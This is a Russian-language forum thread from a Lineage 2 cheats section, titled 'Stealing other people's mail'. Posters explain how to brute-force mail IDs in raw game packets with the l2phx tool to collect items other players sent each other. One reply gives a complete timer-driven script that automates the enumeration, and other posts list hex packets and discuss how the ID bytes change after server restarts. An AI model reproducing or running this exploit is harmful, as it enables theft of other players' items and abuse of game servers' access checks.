Регистрация Главная Сообщество
Сообщения за день Справка Регистрация
Навигация
Zhyk.org LIVE! Реклама на Zhyk.org Правила Форума Награды и достижения Доска "почета"

Воруем чужую почту

-

Баги и читы Lineage 2

- Уязвимости, баги и читы для Lineage 2 в этом разделе

Ответ
 
Опции темы
Старый 18.08.2011, 10:59   #1
 Разведчик
Аватар для NeRoOoz
 
NeRoOoz никому не известный тип
Регистрация: 18.08.2011
Сообщений: 4
Популярность: 14
Сказал(а) спасибо: 0
Поблагодарили 2 раз(а) в 1 сообщении
 
По умолчанию Воруем чужую почту

Итак, баг найден лично мною полгода назад на сервере shock-world.com . В данный момент пофикшен.
Что надо :
1. l2phx
2. Хроники Эпилог и выше ( где есть ф-ция почты )
3. Немного времени


В чем суть бага:
Я с помощью пакетов забирал не только свою почту, но и то , что игроки отправляли не мне. т.е. Если пакет на забирание почты вида D0 6A 00 BC 70 03 00

где
D0 6A 00 - Неизменны ( я работал с почтой без оплаты)

BC - постоянно меняющееся значение , можно назвать даже ИД почты( именно эти значения и будем в последствии перебирать)

70 Также переменная , но она меняется после рестарта сервера

03 00 Меня не интересовало, и я , если честно даже не знаю что это )


Итак, для проверки переменной, которая меняется только после рестартов достаточно отправить твинку почту и глянуть пакет приема посылки. После чего копируем пакеты в столбик ( чтобы сразу получать абсолютно всю почту , которую еще не забрали настоящие хозяева)
и меняем ИД почты , т.е. имеем пакет D0 6A 00 BC 70 03 00 - в каждую новую строчку пишем его же, но с Другими ИД почты
D0 6A 00 10 70 03 00
D0 6A 00 11 70 03 00
D0 6A 00 12 70 03 00
D0 6A 00 13 70 03 00
D0 6A 00 14 70 03 00

и .т.д
Также вместо цифр перебираем комбинации : цифра-буква(Кто не знает буквы только A,B,C,D,E,F) например 1А , буква- цифра( например А1), Буква-Буква (например AF)


после составления ООогромного столбца пакетов достаточно отправить эту кучу и получить чужую почту.потом до рестарта можно то же самое повторять и снова и снова вытаскивать чужие итемы, посланные по почте.

Для удобства я сделал таблицу Exel , куда загнал постоянные , все возможные ИД почты, и переменные , которые менялись после рестартов. После проверки последних переменных , я их заносил в таблицу ,а затем копировал в ПХ, тем самым экономил свое время)
Работоспособность на других серверах не проверял, кому поможет - тому поможет) Так что дерзайте

Добавлено через 29 минут
Мб Хайд поставить? Для некоторых он все- такие актуален

Последний раз редактировалось NeRoOoz; 18.08.2011 в 11:29. Причина: Добавлено сообщение
  Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
ATJIaHTuK (18.08.2011), ForSer (18.08.2011)
Старый 18.08.2011, 15:51   #2
 Разведчик
Аватар для RayWalker
 
RayWalker на правильном путиRayWalker на правильном пути
Регистрация: 22.11.2010
Сообщений: 47
Популярность: 136
Сказал(а) спасибо: 7
Поблагодарили 64 раз(а) в 36 сообщениях
 
По умолчанию Re: Воруем чужую почту

Думаю будет проще использовать этот скрипт, работает только на ява эпилоге, автор скрипта 6a4a.
Код:
const
name='name' ; //имя
a=777;  //с какого ИД почты начинаем
b=0; // где заканчиваем
 
var
 f:boolean;  
 i:integer; 
 j,k:integer; 
 timer1:ttimer; 
 
procedure OnTimer1(Sender: TObject);
begin
 buf:=#$D0#$6E#$00;
 writeD(i); 
 dec(i);
 sendtoserverex(name); 
end; 

procedure SndMsg(str:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(str);
SendToClientEx(Name);
end;
 
procedure Init; //Вызывается при выключении скрипта
begin
 Timer1:=TTimer.Create(nil);
 Timer1.OnTimer:=@OnTimer1;
 Timer1.interval:=700; 
 timer1.enabled:=false;
 i:=a;
 sndmsg ('Нажми соц. действие Да - для начала поиска.');
end;   

procedure FRee;
begin 
 timer1.enabled:=false;
 timer1.free;
end; 

begin

if fromclient and (connectname=name) and (pck[1]=#$56) and (readD(2)=24) then begin
 buf:=#$D0#$6E#$00;
 writeD(i); 
 dec(i);
 sendtoserverex(name); 
 timer1.enabled:=true;
end;

if fromclient and (connectname=name) and (pck[1]=#$56) and (readD(2)=25) then begin
 buf:=#$D0#$6A#$00;
 writeD(i+1); 
 sendtoserverex(name); 
 sndmsg('Получили посылку. нажми ДА для продолженния поиска посылок.');
end;

if fromserver and (connectname=name) and (pck[1]=#$FE) and (pck[2]=#$AD) then begin
 if (readD(4)<>0) then begin
  timer1.enabled:=false;
  sndmsg('Посылка найдена, ид '+inttostr(i+1)+'! Для продолжения поиска жми Да. Что бы получить посылку - жми НЕТ.');
 end;
end;

end.
Для определения последнего пакет достаточно отправить посылку другому чару, далее открываем окно отправленные посылки и смотрим пакет. Пакет будет вида
Код:
D0 6E 00 01 02 00 00
,после меняем значения отмеченные жёлтым через Dword и получаем цифру в данном случае 513, это и есть ИД почты, подставляем после a=. В завершении включаем скрипт и в игре нажимаем соц дейстиве Yes, после того как скрипт найдёт посылку нажимаем No и предметы окажутся у вас.
  Ответить с цитированием
Пользователь сказал cпасибо:
ForSer (18.08.2011)
Старый 18.08.2011, 16:01   #3
 Разведчик
Аватар для NeRoOoz
 
NeRoOoz никому не известный тип
Регистрация: 18.08.2011
Сообщений: 4
Популярность: 14
Сказал(а) спасибо: 0
Поблагодарили 2 раз(а) в 1 сообщении
 
По умолчанию Re: Воруем чужую почту

Ну ты упростил с помощью скрипта - я с помощью таблицы Excel )

Добавлено через 3 минуты
Цитата:
Сообщение от RayWalkerПосмотреть сообщение
01 02 00 00

01 - постоянно меняется, 02 меняется при рестарте сервера , последние две цифры - не знаю что это.
Поэтому когда ты будешь менять в DWord'e ты изменишь и переменную 02- а это уже не будет работать.

Последний раз редактировалось NeRoOoz; 18.08.2011 в 16:04. Причина: Добавлено сообщение
  Ответить с цитированием
Старый 18.08.2011, 16:25   #4
 Разведчик
Аватар для RayWalker
 
RayWalker на правильном путиRayWalker на правильном пути
Регистрация: 22.11.2010
Сообщений: 47
Популярность: 136
Сказал(а) спасибо: 7
Поблагодарили 64 раз(а) в 36 сообщениях
 
Post Re: Воруем чужую почту

Цитата:
Сообщение от NeRoOozПосмотреть сообщение
Ну ты упростил с помощью скрипта - я с помощью таблицы Excel )

Добавлено через 3 минуты

01 - постоянно меняется, 02 меняется при рестарте сервера , последние две цифры - не знаю что это.
Поэтому когда ты будешь менять в DWord'e ты изменишь и переменную 02- а это уже не будет работать.

На счёт 02 я не знаю, 01 меняется потому что нумерация почты идёт при отправке в +1, последние 0 не влияют на результат перевода в десятичный вид. Только что проверил на сервер первый пакет был
Код:
D0 6E 00 01 02 00 00 = id 513
второй
Код:
D0 6E 00 02 02 00 00 = id 514
третий
Код:
D0 6E 00 03 02 00 00 = id 515
Но если всё таки не получается определить по пакету id посылки, то всегда можно попробовать наугад.
  Ответить с цитированием
Старый 18.08.2011, 18:00   #5
Читер-спонсор
 Рыцарь
Аватар для Jumper
 
Jumper сломал счётчик популярности :(Jumper сломал счётчик популярности :(Jumper сломал счётчик популярности :(Jumper сломал счётчик популярности :(Jumper сломал счётчик популярности :(Jumper сломал счётчик популярности :(Jumper сломал счётчик популярности :(Jumper сломал счётчик популярности :(Jumper сломал счётчик популярности :(Jumper сломал счётчик популярности :(Jumper сломал счётчик популярности :(
Регистрация: 14.06.2009
Сообщений: 329
Популярность: 14571
Золото Zhyk.Ru: 4
Сказал(а) спасибо: 1,180
Поблагодарили 704 раз(а) в 392 сообщениях
Отправить сообщение для Jumper с помощью ICQ Отправить сообщение для Jumper с помощью Skype™
 
По умолчанию Re: Воруем чужую почту

Данный баг уже был выложен на жуке.
Я ничего предпринимать не буду, интересно: тебе бан на неделю или красную - что выдадут?
________________

  Ответить с цитированием
Пользователь сказал cпасибо:
Rawwwwr (18.08.2011)
Старый 21.08.2011, 19:27   #6
 Разведчик
Аватар для Bambucha
 
Bambucha никому не известный тип
Регистрация: 31.01.2010
Сообщений: 5
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: Воруем чужую почту

Вот несколько пакетов: D0 6A 00 D8 F7 00 10, D0 6A 00 E2 F9 00 10, D0 6A 00 47 FC 00 10.
При каждом отправлении 4 и 5 байт постоянно менялись (значит не сходится с 1 постом), в последствии когда я перевел последние 4 байта каждого пакета через Dword то получается: 1) D8 F7 00 10 = 268498904, 2) E2 F9 00 10 = 268499426, 3) 47 FC 00 10 = 268500039. Тоесть, явно видно что это ObjectID, сперва я подумал что это oid пересланных итемов, но нет, это OID почты. Кажись так на Freya.
Хроники: Freya
Платформа: Java
________________
from yesterday...
  Ответить с цитированием
Старый 26.08.2011, 09:11   #7
 Разведчик
Аватар для NeRoOoz
 
NeRoOoz никому не известный тип
Регистрация: 18.08.2011
Сообщений: 4
Популярность: 14
Сказал(а) спасибо: 0
Поблагодарили 2 раз(а) в 1 сообщении
 
Red face Re: Воруем чужую почту

Цитата:
Сообщение от BambuchaПосмотреть сообщение
Вот несколько пакетов: D0 6A 00 D8 F7 00 10, D0 6A 00 E2 F9 00 10, D0 6A 00 47 FC 00 10.
При каждом отправлении 4 и 5 байт постоянно менялись (значит не сходится с 1 постом), в последствии когда я перевел последние 4 байта каждого пакета через Dword то получается: 1) D8 F7 00 10 = 268498904, 2) E2 F9 00 10 = 268499426, 3) 47 FC 00 10 = 268500039. Тоесть, явно видно что это ObjectID, сперва я подумал что это oid пересланных итемов, но нет, это OID почты. Кажись так на Freya.
Хроники: Freya
Платформа: Java

У меня на сервере постоянно менялся только 4й байт,а пятый,как я говорил только при рестартах,поэтому тебе придется еще сложнее- перебрать кобинации все значения 4го байта с каждым возможным значением 5го байта,если хватит терпения,думаю получится!
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 18:18.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net